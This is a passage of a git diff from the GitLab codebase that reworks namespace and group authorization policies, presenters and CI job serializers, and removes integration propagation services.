+class GroupPolicy < Namespaces::GroupProjectNamespaceSharedPolicy
include FindGroupProjects
desc "Group is public"
@@ -77,6 +77,11 @@ class GroupPolicy < BasePolicy
condition(:crm_enabled, score: 0, scope: :subject) { Feature.enabled?(:customer_relations, @subject) }
+ with_scope :subject
+ condition(:group_runner_registration_allowed, score: 0, scope: :subject) do
+ Feature.disabled?(:runner_registration_control) || Gitlab::CurrentSettings.valid_runner_registrars.include?('group')
+ end
+
rule { can?(:read_group) & design_management_enabled }.policy do
enable :read_design_activity
end
@@ -157,6 +162,7 @@ class GroupPolicy < BasePolicy
enable :destroy_package
enable :create_projects
enable :admin_pipeline
+ enable :admin_group_runners
enable :admin_build
enable :read_cluster
enable :add_cluster
@@ -199,6 +205,10 @@ class GroupPolicy < BasePolicy
enable :read_nested_project_resources
end
+ rule { can?(:admin_group_runners) }.policy do
+ enable :register_group_runners
+ end
+
rule { owner }.enable :create_subgroup
rule { maintainer & maintainer_can_create_group }.enable :create_subgroup
@@ -261,6 +271,10 @@ class GroupPolicy < BasePolicy
prevent :admin_crm_organization
end
+ rule { ~group_runner_registration_allowed }.policy do
+ prevent :register_group_runners
+ end
+
def access_level(for_any_session: false)
return GroupMember::NO_ACCESS if @user.nil?
return GroupMember::NO_ACCESS unless user_is_user?
diff --git a/app/policies/namespace_policy.rb b/app/policies/namespace_policy.rb
index 0cf1bcb9737..33c90d49f68 100644
--- a/app/policies/namespace_policy.rb
+++ b/app/policies/namespace_policy.rb
@@ -1,9 +1,10 @@
# frozen_string_literal: true
-class NamespacePolicy < ::Namespaces::UserNamespacePolicy
+class NamespacePolicy < BasePolicy
# NamespacePolicy has been traditionally for user namespaces.
# So these policies have been moved into Namespaces::UserNamespacePolicy.
# Once the user namespace conversion is complete, we can look at
# either removing this file or locating common namespace policy items
# here.
+ # See https://gitlab.com/groups/gitlab-org/-/epics/6689 for details
end
diff --git a/app/policies/namespaces/group_project_namespace_shared_policy.rb b/app/policies/namespaces/group_project_namespace_shared_policy.rb
new file mode 100644
index 00000000000..1ed9f05306f
--- /dev/null
+++ b/app/policies/namespaces/group_project_namespace_shared_policy.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+module Namespaces
+ class GroupProjectNamespaceSharedPolicy < ::NamespacePolicy
+ # Nothing here at the moment, but as we move policies from ProjectPolicy to ProjectNamespacePolicy,
+ # anything common with GroupPolicy but not with UserNamespacePolicy can go in here.
+ # See https://gitlab.com/groups/gitlab-org/-/epics/6689
+ end
+end
diff --git a/app/policies/namespaces/project_namespace_policy.rb b/app/policies/namespaces/project_namespace_policy.rb
index bc08a7a45ed..33aadc7c411 100644
--- a/app/policies/namespaces/project_namespace_policy.rb
+++ b/app/policies/namespaces/project_namespace_policy.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
module Namespaces
- class ProjectNamespacePolicy < BasePolicy
+ class ProjectNamespacePolicy < Namespaces::GroupProjectNamespaceSharedPolicy
# For now users are not granted any permissions on project namespace
# as it's completely hidden to them. When we start using project
# namespaces in queries, we will have to extend this policy.
diff --git a/app/policies/namespaces/user_namespace_policy.rb b/app/policies/namespaces/user_namespace_policy.rb
index f8b285e5312..09b0f5d608d 100644
--- a/app/policies/namespaces/user_namespace_policy.rb
+++ b/app/policies/namespaces/user_namespace_policy.rb
@@ -1,10 +1,9 @@
# frozen_string_literal: true
module Namespaces
- class UserNamespacePolicy < BasePolicy
+ class UserNamespacePolicy < ::NamespacePolicy
rule { anonymous }.prevent_all
- condition(:personal_project, scope: :subject) { @subject.kind == 'user' }
condition(:can_create_personal_project, scope: :user) { @user.can_create_project? }
condition(:owner) { @subject.owner == @user }
@@ -19,7 +18,7 @@ module Namespaces
enable :read_package_settings
end
- rule { personal_project & ~can_create_personal_project }.prevent :create_projects
+ rule { ~can_create_personal_project }.prevent :create_projects
rule { (owner | admin) & can?(:create_projects) }.enable :transfer_projects
end
diff --git a/app/presenters/blob_presenter.rb b/app/presenters/blob_presenter.rb
index 5835a77d0b9..3bd92ebc942 100644
--- a/app/presenters/blob_presenter.rb
+++ b/app/presenters/blob_presenter.rb
@@ -15,19 +15,8 @@ class BlobPresenter < Gitlab::View::Presenter::Delegated
Gitlab::Highlight.highlight(
blob.path,
- limited_blob_data(to: to),
- language: language,
- plain: plain
- )
- end
-
- def highlight_transformed(plain: nil)
- load_all_blob_data
-
- Gitlab::Highlight.highlight(
- blob.path,
- transformed_blob_data,
- language: transformed_blob_language,
+ blob_data(to),
+ language: blob_language,
plain: plain
)
end
@@ -38,6 +27,14 @@ class BlobPresenter < Gitlab::View::Presenter::Delegated
highlight(plain: false)
end
+ def blob_data(to)
+ @_blob_data ||= Gitlab::Diff::CustomDiff.transformed_blob_data(blob) || limited_blob_data(to: to)
+ end
+
+ def blob_language
+ @_blob_language ||= Gitlab::Diff::CustomDiff.transformed_blob_language(blob) || language
+ end
+
def raw_plain_data
blob.data unless blob.binary?
end
@@ -66,6 +63,11 @@ class BlobPresenter < Gitlab::View::Presenter::Delegated
project_ci_pipeline_editor_path(project, branch_name: blob.commit_id) if can_collaborate_with_project?(project) && blob.path == project.ci_config_path_or_default
end
+ # Will be overridden in EE
+ def code_owners
+ []
+ end
+
def fork_and_edit_path
fork_path_for_current_user(project, edit_blob_path)
end
@@ -78,6 +80,12 @@ class BlobPresenter < Gitlab::View::Presenter::Delegated
super(blob, project, blob.commit_id)
end
+ def can_current_user_push_to_branch?
+ return false unless current_user && project.repository.branch_exists?(blob.commit_id)
+
+ user_access(project).can_push_to_branch?(blob.commit_id)
+ end
+
def ide_edit_path
super(project, blob.commit_id, blob.path)
end
@@ -123,21 +131,6 @@ class BlobPresenter < Gitlab::View::Presenter::Delegated
def language
blob.language_from_gitattributes
end
-
- def transformed_blob_language
- @transformed_blob_language ||= blob.path.ends_with?('.ipynb') ? 'md' : language
- end
-
- def transformed_blob_data
- @transformed_blob ||= if blob.path.ends_with?('.ipynb') && blob.transformed_for_diff
- IpynbDiff.transform(blob.data,
- raise_errors: true,
- options: { include_metadata: false, cell_decorator: :percent })
- end
-
- @transformed_blob ||= blob.data
- rescue IpynbDiff::InvalidNotebookError => e
- Gitlab::ErrorTracking.log_exception(e)
- blob.data
- end
end
+
+BlobPresenter.prepend_mod_with('BlobPresenter')
diff --git a/app/presenters/ci/pipeline_presenter.rb b/app/presenters/ci/pipeline_presenter.rb
index e0cb899c9d3..7f5dffadcfb 100644
--- a/app/presenters/ci/pipeline_presenter.rb
+++ b/app/presenters/ci/pipeline_presenter.rb
@@ -3,7 +3,6 @@
module Ci
class PipelinePresenter < Gitlab::View::Presenter::Delegated
include Gitlab::Utils::StrongMemoize
- include ActionView::Helpers::UrlHelper
delegator_override_with Gitlab::Utils::StrongMemoize # TODO: Remove `Gitlab::Utils::StrongMemoize` inclusion as it's duplicate
delegator_override_with ActionView::Helpers::TagHelper # TODO: Remove `ActionView::Helpers::UrlHelper` inclusion as it overrides `Ci::Pipeline#tag`
@@ -62,6 +61,13 @@ module Ci
localized_names.fetch(pipeline.merge_request_event_type, s_('Pipeline|Pipeline'))
end
+ delegator_override :coverage
+ def coverage
+ return unless pipeline.coverage.present?
+
+ '%.2f' % pipeline.coverage
+ end
+
def ref_text
if pipeline.detached_merge_request_pipeline?
_("for %{link_to_merge_request} with %{link_to_merge_request_source_branch}")
@@ -101,7 +107,7 @@ module Ci
end
def link_to_pipeline_ref
- link_to(pipeline.ref,
+ ApplicationController.helpers.link_to(pipeline.ref,
project_commits_path(pipeline.project, pipeline.ref),
class: "ref-name")
end
@@ -109,7 +115,7 @@ module Ci
def link_to_merge_request
return unless merge_request_presenter
- link_to(merge_request_presenter.to_reference,
+ ApplicationController.helpers.link_to(merge_request_presenter.to_reference,
project_merge_request_path(merge_request_presenter.project, merge_request_presenter),
class: 'mr-iid')
end
@@ -136,7 +142,7 @@ module Ci
private
def plain_ref_name
- content_tag(:span, pipeline.ref, class: 'ref-name')
+ ApplicationController.helpers.content_tag(:span, pipeline.ref, class: 'ref-name')
end
def merge_request_presenter
@@ -153,7 +159,7 @@ module Ci
all_related_merge_requests.first(limit).map do |merge_request|
mr_path = project_merge_request_path(merge_request.project, merge_request)
- link_to "#{merge_request.to_reference} #{merge_request.title}", mr_path, class: 'mr-iid'
+ ApplicationController.helpers.link_to "#{merge_request.to_reference} #{merge_request.title}", mr_path, class: 'mr-iid'
end
end
diff --git a/app/presenters/commit_status_presenter.rb b/app/presenters/commit_status_presenter.rb
index 7919e501bf0..250715d7c9c 100644
--- a/app/presenters/commit_status_presenter.rb
+++ b/app/presenters/commit_status_presenter.rb
@@ -29,7 +29,8 @@ class CommitStatusPresenter < Gitlab::View::Presenter::Delegated
no_matching_runner: 'No matching runner available',
trace_size_exceeded: 'The job log size limit was reached',
builds_disabled: 'The CI/CD is disabled for this project',
- environment_creation_failure: 'This job could not be executed because it would create an environment with an invalid parameter.'
+ environment_creation_failure: 'This job could not be executed because it would create an environment with an invalid parameter.',
+ deployment_rejected: 'This deployment job was rejected.'
}.freeze
TROUBLESHOOTING_DOC = {
diff --git a/app/presenters/merge_request_presenter.rb b/app/presenters/merge_request_presenter.rb
index d19d4964524..eeb94a8e657 100644
--- a/app/presenters/merge_request_presenter.rb
+++ b/app/presenters/merge_request_presenter.rb
@@ -136,7 +136,7 @@ class MergeRequestPresenter < Gitlab::View::Presenter::Delegated
pipeline: :gfm,
author: author,
project: project,
- issuable_state_filter_enabled: true
+ issuable_reference_expansion_enabled: true
)
end
@@ -146,7 +146,7 @@ class MergeRequestPresenter < Gitlab::View::Presenter::Delegated
pipeline: :gfm,
author: author,
project: project,
- issuable_state_filter_enabled: true
+ issuable_reference_expansion_enabled: true
)
end
@@ -254,6 +254,13 @@ class MergeRequestPresenter < Gitlab::View::Presenter::Delegated
end
end
+ delegator_override :pipeline_coverage_delta
+ def pipeline_coverage_delta
+ return unless merge_request.pipeline_coverage_delta.present?
+
+ '%.2f' % merge_request.pipeline_coverage_delta
+ end
+
private
def cached_can_be_reverted?
diff --git a/app/presenters/packages/npm/package_presenter.rb b/app/presenters/packages/npm/package_presenter.rb
index 9e3308c2573..c30dfa6196b 100644
--- a/app/presenters/packages/npm/package_presenter.rb
+++ b/app/presenters/packages/npm/package_presenter.rb
@@ -12,10 +12,9 @@ module Packages
attr_reader :name, :packages
- def initialize(name, packages, include_metadata: false)
+ def initialize(name, packages)
@name = name
@packages = packages
- @include_metadata = include_metadata
end
def versions
@@ -24,10 +23,7 @@ module Packages
packages.each_batch do |relation|
batched_packages = relation.including_dependency_links
.preload_files
-
- if @include_metadata
- batched_packages = batched_packages.preload_npm_metadatum
- end
+ .preload_npm_metadatum
batched_packages.each do |package|
package_file = package.package_files.last
@@ -92,8 +88,6 @@ module Packages
end
def abbreviated_package_json(package)
- return {} unless @include_metadata
-
json = package.npm_metadatum&.package_json || {}
json.slice(*PACKAGE_JSON_ALLOWED_FIELDS)
end
diff --git a/app/presenters/projects/security/configuration_presenter.rb b/app/presenters/projects/security/configuration_presenter.rb
new file mode 100644
index 00000000000..89fca1a451a
--- /dev/null
+++ b/app/presenters/projects/security/configuration_presenter.rb
@@ -0,0 +1,98 @@
+# frozen_string_literal: true
+
+module Projects
+ module Security
+ class ConfigurationPresenter < Gitlab::View::Presenter::Delegated
+ include AutoDevopsHelper
+ include ::Security::LatestPipelineInformation
+
+ presents ::Project, as: :project
+
+ def to_h
+ {
+ auto_devops_enabled: auto_devops_source?,
+ auto_devops_help_page_path: help_page_path('topics/autodevops/index'),
+ auto_devops_path: auto_devops_settings_path(project),
+ can_enable_auto_devops: can_enable_auto_devops?,
+ features: features,
+ help_page_path: help_page_path('user/application_security/index'),
+ latest_pipeline_path: latest_pipeline_path,
+ # TODO: gitlab_ci_present will incorrectly report `false` if the CI/CD configuration file name
+ # has been customized and a file with the given custom name exists in the repo. This edge case
+ # will be addressed in https://gitlab.com/gitlab-org/gitlab/-/issues/342465
+ gitlab_ci_present: project.repository.gitlab_ci_yml.present?,
+ gitlab_ci_history_path: gitlab_ci_history_path,
+ auto_fix_enabled: autofix_enabled,
+ can_toggle_auto_fix_settings: can_toggle_autofix,
+ auto_fix_user_path: auto_fix_user_path
+ }
+ end
+
+ def to_html_data_attribute
+ data = to_h
+ data[:features] = data[:features].to_json
+ data[:auto_fix_enabled] = data[:auto_fix_enabled].to_json
+
+ data
+ end
+
+ private
+
+ def autofix_enabled; end
+
+ def auto_fix_user_path; end
+
+ def can_enable_auto_devops?
+ feature_available?(:builds, current_user) &&
+ can?(current_user, :admin_project, self) &&
+ !archived?
+ end
+
+ def can_toggle_autofix; end
+
+ def gitlab_ci_history_path
+ return '' if project.empty_repo?
+
+ gitlab_ci = ::Gitlab::FileDetector::PATTERNS[:gitlab_ci]
+ ::Gitlab::Routing.url_helpers.project_blame_path(project, File.join(project.default_branch_or_main, gitlab_ci))
+ end
+
+ def features
+ scans = scan_types.map do |scan_type|
+ scan(scan_type, configured: scanner_enabled?(scan_type))
+ end
+
+ # These scans are "fake" (non job) entries. Add them manually.
+ scans << scan(:corpus_management, configured: true)
+ scans << scan(:dast_profiles, configured: true)
+ end
+
+ def latest_pipeline_path
+ return help_page_path('ci/pipelines') unless latest_default_branch_pipeline
+
+ project_pipeline_path(self, latest_default_branch_pipeline)
+ end
+
+ def scan(type, configured: false)
+ scan = ::Gitlab::Security::ScanConfiguration.new(project: project, type: type, configured: configured)
+
+ {
+ type: scan.type,
+ configured: scan.configured?,
+ configuration_path: scan.configuration_path,
+ available: scan.available?
+ }
+ end
+
+ def scan_types
+ ::Security::SecurityJobsFinder.allowed_job_types + ::Security::LicenseComplianceJobsFinder.allowed_job_types
+ end
+
+ def project_settings
+ project.security_setting
+ end
+ end
+ end
+end
+
+Projects::Security::ConfigurationPresenter.prepend_mod_with('Projects::Security::ConfigurationPresenter')
diff --git a/app/presenters/prometheus_alert_presenter.rb b/app/presenters/prometheus_alert_presenter.rb
index 714329ede71..776e2baebdd 100644
--- a/app/presenters/prometheus_alert_presenter.rb
+++ b/app/presenters/prometheus_alert_presenter.rb
@@ -1,8 +1,6 @@
# frozen_string_literal: true
class PrometheusAlertPresenter < Gitlab::View::Presenter::Delegated
- include ActionView::Helpers::UrlHelper
-
presents ::PrometheusAlert, as: :prometheus_alert
def humanized_text
diff --git a/app/presenters/snippet_blob_presenter.rb b/app/presenters/snippet_blob_presenter.rb
index 4072696eb89..026d442291c 100644
--- a/app/presenters/snippet_blob_presenter.rb
+++ b/app/presenters/snippet_blob_presenter.rb
@@ -57,3 +57,5 @@ class SnippetBlobPresenter < BlobPresenter
gitlab_raw_snippet_blob_url(snippet, blob.path, only_path: only_path)
end
end
+
+SnippetBlobPresenter.prepend_mod
diff --git a/app/serializers/analytics/cycle_analytics/stage_entity.rb b/app/serializers/analytics/cycle_analytics/stage_entity.rb
index c5cc8c89fb7..cfbf6f60e38 100644
--- a/app/serializers/analytics/cycle_analytics/stage_entity.rb
+++ b/app/serializers/analytics/cycle_analytics/stage_entity.rb
@@ -3,6 +3,10 @@
module Analytics
module CycleAnalytics
class StageEntity < Grape::Entity
+ include ActionView::Context
+ include LabelsHelper
+ include ActionView::Helpers::TagHelper
+
expose :title
expose :hidden
expose :legend
@@ -43,10 +47,20 @@ module Analytics
html_description(object.end_event)
end
+ # Avoid including ActionView::Helpers::UrlHelper
+ def link_to(*args)
+ ActionController::Base.helpers.link_to(*args)
+ end
+
private
def html_description(event)
- Banzai::Renderer.render(event.markdown_description, { group: object.group, project: nil })
+ options = {}
+ if event.label_based?
+ options[:label_html] = render_label(event.label, link: '', small: true, tooltip: true)
+ end
+
+ content_tag(:p) { event.html_description(options).html_safe }
end
end
end
diff --git a/app/serializers/build_details_entity.rb b/app/serializers/build_details_entity.rb
index 4615f471639..9fd35faf0b7 100644
--- a/app/serializers/build_details_entity.rb
+++ b/app/serializers/build_details_entity.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
-class BuildDetailsEntity < JobEntity
- expose :coverage, :erased_at, :duration
+class BuildDetailsEntity < Ci::JobEntity
+ expose :coverage, :erased_at, :finished_at, :duration
expose :tag_list, as: :tags
expose :has_trace?, as: :has_trace
expose :stage
@@ -109,6 +109,8 @@ class BuildDetailsEntity < JobEntity
private
+ alias_method :build, :object
+
def build_failed_issue_options
{ title: "Job Failed ##{build.id}",
description: "Job [##{build.id}](#{project_job_url(project, build)}) failed for #{build.sha}:\n" }
diff --git a/app/serializers/build_serializer.rb b/app/serializers/build_serializer.rb
deleted file mode 100644
index 0649fdad6a8..00000000000
--- a/app/serializers/build_serializer.rb
+++ /dev/null
@@ -1,10 +0,0 @@
-# frozen_string_literal: true
-
-class BuildSerializer < BaseSerializer
- entity JobEntity
-
- def represent_status(resource)
- data = represent(resource, { only: [:status] })
- data.fetch(:status, {})
- end
-end
diff --git a/app/serializers/ci/job_entity.rb b/app/serializers/ci/job_entity.rb
new file mode 100644
index 00000000000..fca3dec74d4
--- /dev/null
+++ b/app/serializers/ci/job_entity.rb
@@ -0,0 +1,96 @@
+# frozen_string_literal: true
+
+module Ci
+ class JobEntity < Grape::Entity
+ include RequestAwareEntity
+
+ expose :id
+ expose :name
+
+ expose :started?, as: :started
+ expose :complete?, as: :complete
+ expose :archived?, as: :archived
+
+ # bridge jobs don't have build details pages
+ expose :build_path, if: ->(job) { !job.is_a?(Ci::Bridge) } do |job|
+ job_path(job)
+ end
+
+ expose :retry_path, if: -> (*) { retryable? } do |job|
+ path_to(:retry_namespace_project_job, job)
+ end
+
+ expose :cancel_path, if: -> (*) { cancelable? } do |job|
+ path_to(
+ :cancel_namespace_project_job,
+ job,
+ { continue: { to: job_path(job) } }
+ )
+ end
+
+ expose :play_path, if: -> (*) { playable? } do |job|
+ path_to(:play_namespace_project_job, job)
+ end
+
+ expose :unschedule_path, if: -> (*) { scheduled? } do |job|
+ path_to(:unschedule_namespace_project_job, job)
+ end
+
+ expose :playable?, as: :playable
+ expose :scheduled?, as: :scheduled
+ expose :scheduled_at, if: -> (*) { scheduled? }
+ expose :created_at
+ expose :updated_at
+ expose :detailed_status, as: :status, with: DetailedStatusEntity
+ expose :callout_message, if: -> (*) { failed? && !job.script_failure? }
+ expose :recoverable, if: -> (*) { failed? }
+
+ private
+
+ alias_method :job, :object
+
+ def cancelable?
+ job.cancelable? && can?(request.current_user, :update_build, job)
+ end
+
+ def retryable?
+ job.retryable? && can?(request.current_user, :update_build, job)
+ end
+
+ def playable?
+ job.playable? && can?(request.current_user, :update_build, job)
+ end
+
+ def scheduled?
+ job.scheduled?
+ end
+
+ def detailed_status
+ job.detailed_status(request.current_user)
+ end
+
+ def path_to(route, job, params = {})
+ send("#{route}_path", job.project.namespace, job.project, job, params) # rubocop:disable GitlabSecurity/PublicSend
+ end
+
+ def job_path(job)
+ job.target_url || path_to(:namespace_project_job, job)
+ end
+
+ def failed?
+ job.failed?
+ end
+
+ def callout_message
+ job_presenter.callout_failure_message
+ end
+
+ def recoverable
+ job_presenter.recoverable?
+ end
+
+ def job_presenter
+ @job_presenter ||= job.present
+ end
+ end
+end
diff --git a/app/serializers/ci/job_serializer.rb b/app/serializers/ci/job_serializer.rb
new file mode 100644
index 00000000000..01f9e223943
--- /dev/null
+++ b/app/serializers/ci/job_serializer.rb
@@ -0,0 +1,12 @@
+# frozen_string_literal: true
+
+module Ci
+ class JobSerializer < BaseSerializer
+ entity Ci::JobEntity
+
+ def represent_status(resource)
+ data = represent(resource, { only: [:status] })
+ data.fetch(:status, {})
+ end
+ end
+end
diff --git a/app/serializers/ci/pipeline_entity.rb b/app/serializers/ci/pipeline_entity.rb
index a5af543f49f..20aeb978520 100644
--- a/app/serializers/ci/pipeline_entity.rb
+++ b/app/serializers/ci/pipeline_entity.rb
@@ -4,7 +4,7 @@ class Ci::PipelineEntity < Grape::Entity
include RequestAwareEntity
include Gitlab::Utils::StrongMemoize
- delegate :name, :failure_reason, to: :presented_pipeline
+ delegate :name, :failure_reason, :coverage, to: :presented_pipeline
expose :id
expose :iid
@@ -82,7 +82,7 @@ class Ci::PipelineEntity < Grape::Entity
project_pipeline_path(pipeline.project, pipeline)
end
- expose :failed_builds, if: -> (*) { can_retry? }, using: JobEntity do |pipeline|
+ expose :failed_builds, if: -> (*) { can_retry? }, using: Ci::JobEntity do |pipeline|
pipeline.failed_builds.each do |build|
build.project = pipeline.project
end
diff --git a/app/serializers/deployment_entity.rb b/app/serializers/deployment_entity.rb
index 08a939e86c5..7a2fba73f3a 100644
--- a/app/serializers/deployment_entity.rb
+++ b/app/serializers/deployment_entity.rb
@@ -22,12 +22,14 @@ class DeploymentEntity < Grape::Entity
expose :deployed_at
expose :tag
expose :last?
+ expose :last?, as: :is_last
+
expose :deployed_by, as: :user, using: UserEntity
expose :deployable, if: -> (deployment) { deployment.deployable.present? } do |deployment, opts|
deployment.deployable.yield_self do |deployable|
if include_details?
- JobEntity.represent(deployable, opts)
+ Ci::JobEntity.represent(deployable, opts)
elsif can_read_deployables?
{ name: deployable.name,
build_path: project_job_path(deployable.project, deployable) }
@@ -36,10 +38,10 @@ class DeploymentEntity < Grape::Entity
end
expose :commit, using: CommitEntity, if: -> (*) { include_details? }
- expose :manual_actions, using: JobEntity, if: -> (*) { include_details? && can_create_deployment? }
- expose :scheduled_actions, using: JobEntity, if: -> (*) { include_details? && can_create_deployment? }
+ expose :manual_actions, using: Ci::JobEntity, if: -> (*) { include_details? && can_create_deployment? }
+ expose :scheduled_actions, using: Ci::JobEntity, if: -> (*) { include_details? && can_create_deployment? }
expose :playable_build, if: -> (deployment) { include_details? && can_create_deployment? && deployment.playable_build } do |deployment, options|
- JobEntity.represent(deployment.playable_build, options.merge(only: [:play_path, :retry_path]))
+ Ci::JobEntity.represent(deployment.playable_build, options.merge(only: [:play_path, :retry_path]))
end
expose :cluster do |deployment, options|
diff --git a/app/serializers/deployment_serializer.rb b/app/serializers/deployment_serializer.rb
index b48037dd53f..7710efed3ab 100644
--- a/app/serializers/deployment_serializer.rb
+++ b/app/serializers/deployment_serializer.rb
@@ -4,7 +4,7 @@ class DeploymentSerializer < BaseSerializer
entity DeploymentEntity
def represent_concise(resource, opts = {})
- opts[:only] = [:iid, :id, :sha, :created_at, :deployed_at, :tag, :last?, :id, ref: [:name]]
+ opts[:only] = [:iid, :id, :sha, :created_at, :deployed_at, :tag, :last?, :is_last, :id, ref: [:name]]
represent(resource, opts)
end
end
diff --git a/app/serializers/diff_file_entity.rb b/app/serializers/diff_file_entity.rb
index 7eca56b2f48..ef856ee0116 100644
--- a/app/serializers/diff_file_entity.rb
+++ b/app/serializers/diff_file_entity.rb
@@ -90,3 +90,5 @@ class DiffFileEntity < DiffFileBaseEntity
options.fetch(:diff_view, :inline).to_sym
end
end
+
+DiffFileEntity.prepend_mod
diff --git a/app/serializers/job_entity.rb b/app/serializers/job_entity.rb
deleted file mode 100644
index eb8622edb38..00000000000
--- a/app/serializers/job_entity.rb
+++ /dev/null
@@ -1,94 +0,0 @@
-# frozen_string_literal: true
-
-class JobEntity < Grape::Entity
- include RequestAwareEntity
-
- expose :id
- expose :name
-
- expose :started?, as: :started
- expose :complete?, as: :complete
- expose :archived?, as: :archived
-
- # bridge jobs don't have build detail pages
- expose :build_path, if: ->(build) { !build.is_a?(Ci::Bridge) } do |build|
- build_path(build)
- end
-
- expose :retry_path, if: -> (*) { retryable? } do |build|
- path_to(:retry_namespace_project_job, build)
- end
-
- expose :cancel_path, if: -> (*) { cancelable? } do |build|
- path_to(
- :cancel_namespace_project_job,
- build,
- { continue: { to: build_path(build) } }
- )
- end
-
- expose :play_path, if: -> (*) { playable? } do |build|
- path_to(:play_namespace_project_job, build)
- end
-
- expose :unschedule_path, if: -> (*) { scheduled? } do |build|
- path_to(:unschedule_namespace_project_job, build)
- end
-
- expose :playable?, as: :playable
- expose :scheduled?, as: :scheduled
- expose :scheduled_at, if: -> (*) { scheduled? }
- expose :created_at
- expose :updated_at
- expose :detailed_status, as: :status, with: DetailedStatusEntity
- expose :callout_message, if: -> (*) { failed? && !build.script_failure? }
- expose :recoverable, if: -> (*) { failed? }
-
- private
-
- alias_method :build, :object
-
- def cancelable?
- build.cancelable? && can?(request.current_user, :update_build, build)
- end
-
- def retryable?
- build.retryable? && can?(request.current_user, :update_build, build)
- end
-
- def playable?
- build.playable? && can?(request.current_user, :update_build, build)
- end
-
- def scheduled?
- build.scheduled?
- end
-
- def detailed_status
- build.detailed_status(request.current_user)
- end
-
- def path_to(route, build, params = {})
- send("#{route}_path", build.project.namespace, build.project, build, params) # rubocop:disable GitlabSecurity/PublicSend
- end
-
- def build_path(build)
- build.target_url || path_to(:namespace_project_job, build)
- end
-
- def failed?
- build.failed?
- end
-
- def callout_message
- build_presenter.callout_failure_message
- end
-
- def recoverable
- build_presenter.recoverable?
- end
-
- def build_presenter
- @build_presenter ||= build.present
- end
-end
diff --git a/app/serializers/job_group_entity.rb b/app/serializers/job_group_entity.rb
index 0db7624b3f7..3597d5531fa 100644
--- a/app/serializers/job_group_entity.rb
+++ b/app/serializers/job_group_entity.rb
@@ -6,7 +6,7 @@ class JobGroupEntity < Grape::Entity
expose :name
expose :size
expose :detailed_status, as: :status, with: DetailedStatusEntity
- expose :jobs, with: JobEntity
+ expose :jobs, with: Ci::JobEntity
private
diff --git a/app/serializers/member_entity.rb b/app/serializers/member_entity.rb
index d7221109ecb..f2f97f560e0 100644
--- a/app/serializers/member_entity.rb
+++ b/app/serializers/member_entity.rb
@@ -63,6 +63,12 @@ class MemberEntity < Grape::Entity
member.respond_to?(:invited_user_state) ? member.invited_user_state : ""
end
end
+
+ private
+
+ def current_user
+ options[:current_user]
+ end
end
MemberEntity.prepend_mod_with('MemberEntity')
diff --git a/app/serializers/merge_request_widget_entity.rb b/app/serializers/merge_request_widget_entity.rb
index bd60d60c8db..b9c71e6d97b 100644
--- a/app/serializers/merge_request_widget_entity.rb
+++ b/app/serializers/merge_request_widget_entity.rb
@@ -73,7 +73,7 @@ class MergeRequestWidgetEntity < Grape::Entity
end
expose :user_callouts_path do |_merge_request|
- user_callouts_path
+ callouts_path
end
expose :suggest_pipeline_feature_id do |_merge_request|
diff --git a/app/serializers/merge_requests/pipeline_entity.rb b/app/serializers/merge_requests/pipeline_entity.rb
index bdf5cb160b2..f4fb01604d0 100644
--- a/app/serializers/merge_requests/pipeline_entity.rb
+++ b/app/serializers/merge_requests/pipeline_entity.rb
@@ -43,7 +43,9 @@ class MergeRequests::PipelineEntity < Grape::Entity
# Coverage isn't always necessary (e.g. when displaying project pipelines in
# the UI). Instead of creating an entirely different entity we just allow the
# disabling of this specific field whenever necessary.
- expose :coverage, unless: proc { options[:disable_coverage] }
+ expose :coverage, unless: proc { options[:disable_coverage] } do |pipeline|
+ pipeline.present.coverage
+ end
expose :ref do
expose :branch?, as: :branch
diff --git a/app/serializers/note_entity.rb b/app/serializers/note_entity.rb
index 8f189f14dea..58ad5812801 100644
--- a/app/serializers/note_entity.rb
+++ b/app/serializers/note_entity.rb
@@ -51,7 +51,7 @@ class NoteEntity < API::Entities::Note
SystemNoteHelper.system_note_icon_name(note)
end
- expose :outdated_line_change_path, if: -> (note, _) { note.system? && note.change_position&.line_range && Feature.enabled?(:display_outdated_line_diff, note.project, default_enabled: :yaml) } do |note|
+ expose :outdated_line_change_path, if: -> (note, _) { note.show_outdated_changes? } do |note|
outdated_line_change_namespace_project_note_path(namespace_id: note.project.namespace, project_id: note.project, id: note)
end
diff --git a/app/serializers/stage_entity.rb b/app/serializers/stage_entity.rb
index 0aadcd01a43..548ff577863 100644
--- a/app/serializers/stage_entity.rb
+++ b/app/serializers/stage_entity.rb
@@ -15,13 +15,13 @@ class StageEntity < Grape::Entity
expose :latest_statuses,
if: -> (_, opts) { opts[:details] },
- with: JobEntity do |stage|
+ with: Ci::JobEntity do |stage|
latest_statuses
end
expose :retried,
if: -> (_, opts) { opts[:retried] },
- with: JobEntity do |stage|
+ with: Ci::JobEntity do |stage|
retried_statuses
end
diff --git a/app/services/admin/propagate_integration_service.rb b/app/services/admin/propagate_integration_service.rb
deleted file mode 100644
index f7a4bf1a9f9..00000000000
--- a/app/services/admin/propagate_integration_service.rb
+++ /dev/null
@@ -1,56 +0,0 @@
-# frozen_string_literal: true
-
-module Admin
- class PropagateIntegrationService
- include PropagateService
-
- def propagate
- if integration.instance_level?
- update_inherited_integrations
- create_integration_for_groups_without_integration
- create_integration_for_projects_without_integration
- else
- update_inherited_descendant_integrations
- create_integration_for_groups_without_integration_belonging_to_group
- create_integration_for_projects_without_integration_belonging_to_group
- end
- end
-
- private
-
- def update_inherited_integrations
- propagate_integrations(
- Integration.by_type(integration.type).inherit_from_id(integration.id),
- PropagateIntegrationInheritWorker
- )
- end
-
- def update_inherited_descendant_integrations
- propagate_integrations(
- Integration.inherited_descendants_from_self_or_ancestors_from(integration),
- PropagateIntegrationInheritDescendantWorker
- )
- end
-
- def create_integration_for_groups_without_integration
- propagate_integrations(
- Group.without_integration(integration),
- PropagateIntegrationGroupWorker
- )
- end
-
- def create_integration_for_groups_without_integration_belonging_to_group
- propagate_integrations(
- integration.group.descendants.without_integration(integration),
- PropagateIntegrationGroupWorker
- )
- end
-
- def create_integration_for_projects_without_integration_belonging_to_group
- propagate_integrations(
- Project.without_integration(integration).in_namespace(integration.group.self_and_descendants),
- PropagateIntegrationProjectWorker
- )
- end
- end
-end
diff --git a/app/services/admin/propagate_service_template.rb b/app/services/admin/propagate_service_template.rb
deleted file mode 100644
index c251537c479..00000000000
--- a/app/services/admin/propagate_service_template.rb
+++ /dev/null
@@ -1,11 +0,0 @@
-# frozen_string_literal: true
-
-module Admin
- class PropagateServiceTemplate
- include PropagateService
-
- def propagate
